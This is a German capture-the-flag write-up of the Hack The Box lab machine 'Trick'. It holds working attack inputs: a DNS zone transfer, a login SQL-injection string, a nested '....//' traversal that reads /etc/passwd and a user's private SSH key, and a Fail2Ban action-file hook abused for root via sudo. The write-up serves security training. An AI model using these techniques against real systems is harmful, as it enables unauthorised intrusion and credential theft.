HTB · published
Trick
Hack The Box CPTS-Track Writeup für Trick: DNS AXFR, vHost-Discovery, Payroll SQLi, Marketing LFI, SSH-Key-Disclosure und Fail2Ban Privilege Escalation.
Metadaten
- Name: Trick
- IP Address:
10.129.227.180 - Plattform: Linux
- Kategorie: DNS / vHost / SQLi / LFI / Fail2Ban
- Schwierigkeit: Easy
- Ziel(e): User, Root
- Kurzbeschreibung: Trick ist eine Linux-Maschine mit SSH, SMTP, DNS und HTTP. Eine DNS-Zonentransfer-Misskonfiguration leakt
preprod-payroll.trick.htb; Host-Header-Enumeration findet zusätzlichpreprod-marketing.trick.htb. Die Marketing-App enthält eine LFI, über die der private SSH-Key vonmichaelgelesen wird. Root wird über gruppenbeschreibbare Fail2Ban-Action-Dateien und eine sudo-Regel zum Neustarten von Fail2Ban erreicht.
Executive Summary
Der wichtigste Recon-Fund war DNS: trick.htb erlaubte einen AXFR-Zonentransfer und gab dadurch preprod-payroll.trick.htb preis. Zusätzlich wurde per Host-Header-Fuzzing preprod-marketing.trick.htb gefunden.
Die Payroll-App akzeptierte eine einfache Login-SQLi, lieferte aber nicht den finalen Weg. Die Marketing-App war wichtiger: Ihr page-Parameter war für Local File Inclusion anfällig. Durch verschachteltes Traversal konnte /etc/passwd und anschließend /home/michael/.ssh/id_rsa gelesen werden.
Mit dem SSH-Key gelang der Zugriff als michael. Dieser Benutzer war Mitglied der Gruppe security. Die Gruppe konnte Fail2Ban-Action-Dateien in /etc/fail2ban/action.d ersetzen, und michael durfte Fail2Ban per sudo als Root neu starten. Ein temporärer actionstart-Hook kopierte /root/root.txt nach /tmp/root.txt.
Reconnaissance / Enumeration
ICMP deutete mit TTL 63 auf Linux hin. Der Full-Port-Scan zeigte vier offene TCP-Ports:
nmap -Pn -p- --min-rate 2500 -T4 -oA scans/tcp_full 10.129.227.180
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
Die wichtigsten Dienste:
22/tcp OpenSSH 7.9p1 Debian
25/tcp Postfix SMTP
53/tcp ISC BIND 9.11.5
80/tcp nginx 1.14.2
Reverse DNS zeigte:
trick.htb
DNS Enumeration
Da DNS offen war, wurde ein Zonentransfer getestet:
dig axfr trick.htb @10.129.227.180
Der Transfer war erlaubt und leakte einen Preprod-vHost:
preprod-payroll.trick.htb. CNAME trick.htb.
Host-Header-Fuzzing fand zusätzlich:
preprod-marketing.trick.htb
Damit ergaben sich drei relevante Hosts:
trick.htb
preprod-payroll.trick.htb
preprod-marketing.trick.htb
Web Enumeration
trick.htb zeigte nur eine statische Coming-Soon-Seite.
Die Payroll-Anwendung hatte einen Login-Endpunkt:
POST /ajax.php?action=login
Eine einfache SQL Injection funktionierte:
username=' OR 1=1-- -
password=x
Der Endpoint gab einen Success-Wert zurück:
1
Dadurch war eine Administrator-Session in der Payroll-App möglich. Für den finalen Foothold war aber die Marketing-App entscheidender.
Marketing LFI
Die Marketing-App lud Inhalte über den Parameter:
index.php?page=<file>
Direktes Traversal wurde gefiltert, aber verschachteltes Traversal überlebte die Normalisierung:
....//....//....//....//etc/passwd
/etc/passwd zeigte den lokalen Benutzer:
michael
Über denselben LFI-Bypass konnte der private SSH-Key gelesen werden:
....//....//....//....//home/michael/.ssh/id_rsa
Der Key wurde lokal gespeichert und für SSH genutzt.
Foothold: SSH als michael
chmod 600 michael_id_rsa
ssh -i michael_id_rsa michael@10.129.227.180
Damit war eine interaktive Shell als michael vorhanden.
User Flag
cat /home/michael/user.txt
dbc95XXXXXXXXXXXXXXX4eaf0a
Local Enumeration
Die Gruppenmitgliedschaft von michael war der zentrale Hinweis:
michael security
Die sudo-Regel erlaubte das Neustarten von Fail2Ban als Root:
(root) NOPASSWD: /etc/init.d/fail2ban restart
Zusätzlich war das Action-Verzeichnis für die Gruppe security beschreibbar:
/etc/fail2ban/action.d
Damit wurde Fail2Ban zu einem Root-Codeausführungspfad: Wenn michael eine Action-Datei ändern und Fail2Ban als Root neustarten kann, wird die manipulierte Action im Root-Kontext geladen.
Privilege Escalation: Fail2Ban Action Abuse
Die aktive SSH-Jail verwendete:
iptables-multiport.conf
Diese Action-Datei wurde temporär mit einem actionstart-Hook ersetzt:
[Definition]
actionstart = cp /root/root.txt /tmp/root.txt
chmod 644 /tmp/root.txt
actionstop = true
actioncheck = true
actionban = true
actionunban = true
Danach wurde Fail2Ban per sudo neugestartet:
sudo /etc/init.d/fail2ban restart
Beim Start führte Fail2Ban den actionstart-Hook als Root aus und kopierte die Root-Flag nach /tmp/root.txt.
Root Flag
cat /tmp/root.txt
88812XXXXXXXXXXXXXXXXXXX14d33053
Cleanup
Nach dem Proof wurde /tmp/root.txt entfernt.
Außerdem wurden Owner und Mode der Action-Datei wieder auf Root/0644 gesetzt:
/etc/fail2ban/action.d/iptables-multiport.conf
Wichtig aus den Notizen: Der ursprüngliche Debian-Package-Inhalt wurde vor Ende der Session nicht vollständig wiederhergestellt. Die installierte Action-Datei enthielt danach noch den Cleanup-Hook statt des Originalinhalts.
Alternative Paths / Rabbit Holes
- Die Payroll-App war per SQLi zugänglich und lieferte eine Administrator-Websession.
- Der direkte Root-Weg kam aber über die Marketing-LFI und den SSH-Key.
- SMTP und die statische Hauptseite brachten keinen direkteren Einstieg.
Post-Exploitation
- Recon: DNS AXFR gegen
trick.htb. - vHosts:
preprod-payroll.trick.htb,preprod-marketing.trick.htb. - Foothold: LFI in Marketing-App liest
/home/michael/.ssh/id_rsa. - User: SSH als
michael, User-Flag in/home/michael/user.txt. - Root: Gruppenbeschreibbare Fail2Ban-Action + sudo-Neustart.
- Root-Flag: über Fail2Ban
actionstartnach/tmp/root.txtkopiert.
Lessons Learned
- DNS nie überspringen: AXFR kann versteckte vHosts und ganze App-Tiers offenlegen.
- vHost-Fuzzing ergänzt DNS:
preprod-marketingwurde zusätzlich per Host-Header-Probing gefunden. - Filter-Normalisierung testen:
....//kann einfache Traversal-Filter umgehen. - SSH-Keys über LFI sind High Impact: Ein lesbarer privater Key ist oft direkt ein stabiler Foothold.
- Gruppenrechte prüfen: Schreibzugriff auf Service-Action-Dateien ist kritisch.
- Fail2Ban kann Root-Code ausführen: Besonders wenn ein Benutzer Actions ändern und den Dienst per sudo neustarten darf.
Tools Used
nmapdigcurlffufferoxbustersshscp- Standard Linux enumeration commands